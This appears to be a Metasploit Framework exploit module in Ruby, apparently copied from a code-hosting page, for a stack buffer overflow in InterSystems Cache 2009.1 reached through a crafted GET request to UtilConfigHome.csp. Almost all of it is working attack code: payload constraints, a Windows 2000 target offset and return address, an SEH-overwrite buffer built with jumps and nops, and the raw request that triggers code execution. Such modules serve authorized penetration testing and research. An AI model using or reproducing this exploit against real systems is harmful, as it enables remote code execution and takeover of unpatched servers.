79 lines
2.3 KiB
Ruby
79 lines
2.3 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
# XXX: Needs custom body check HttpFingerprint = { :uri => '/csp/sys/mgr/UtilConfigHome.csp', :body => [ /Cache for Windows/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'InterSystems Cache UtilConfigHome.csp Argument Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in InterSystems Cache 2009.1.
|
|
By sending a specially crafted GET request, an attacker may be able to execute
|
|
arbitrary code.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '60549' ],
|
|
[ 'BID', '37177' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 650,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x0c\x25\x23\x20\x0a\x0d\x09\x2f\x2b\x2e\x0b\x5c",
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows 2000 SP4 English', { 'Offset' => 710, 'Ret' => 0x6ff2791a } ], # libhttpd.dll 2.2.11.0 / pop ebp | pop ebx | ret
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Sep 29 2009')) # Initially...!
|
|
|
|
register_options( [ Opt::RPORT(57772) ], self.class )
|
|
end
|
|
|
|
def exploit
|
|
# offset to the seh frame.
|
|
sploit = payload.encoded + rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
|
|
# jmp $+6 | p/p/r
|
|
sploit << Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
|
|
# fall into some nops, jmp back to our final payload.
|
|
sploit << make_nops(8) + [0xe9, -700].pack('CV')
|
|
# cause the av!
|
|
sploit << rand_text_alpha_upper(payload.encoded.length)
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
send_request_raw({
|
|
'uri' => '/csp/sys/mgr/UtilConfigHome.csp=' + sploit,
|
|
'method' => 'GET',
|
|
}, 5)
|
|
|
|
handler
|
|
end
|
|
end
|